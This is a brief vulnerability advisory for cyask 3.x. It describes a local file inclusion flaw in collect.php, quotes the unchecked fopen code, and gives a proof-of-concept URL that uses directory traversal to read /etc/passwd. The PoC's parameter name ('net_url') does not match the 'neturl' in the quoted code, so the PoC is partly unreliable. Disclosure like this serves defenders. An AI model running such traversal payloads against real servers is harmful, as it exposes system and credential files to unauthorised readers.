cyask 3.x Local File Inclusion Vulnerability

This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass the user
check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
$neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

$collect_url=empty($neturl) ? $url : $neturl;

$contents = '';
if($fid=@fopen($collect_url,"r"))
{
    do
    {
        $data = fread($fid, 4096);
        if (strlen($data) == 0)
        {
            break;
        }
        $contents .= $data;
    }
    while(true);
    fclose($fid);
}

POC:
http://XXX.com/collect.php?net_url=../../../etc/passwd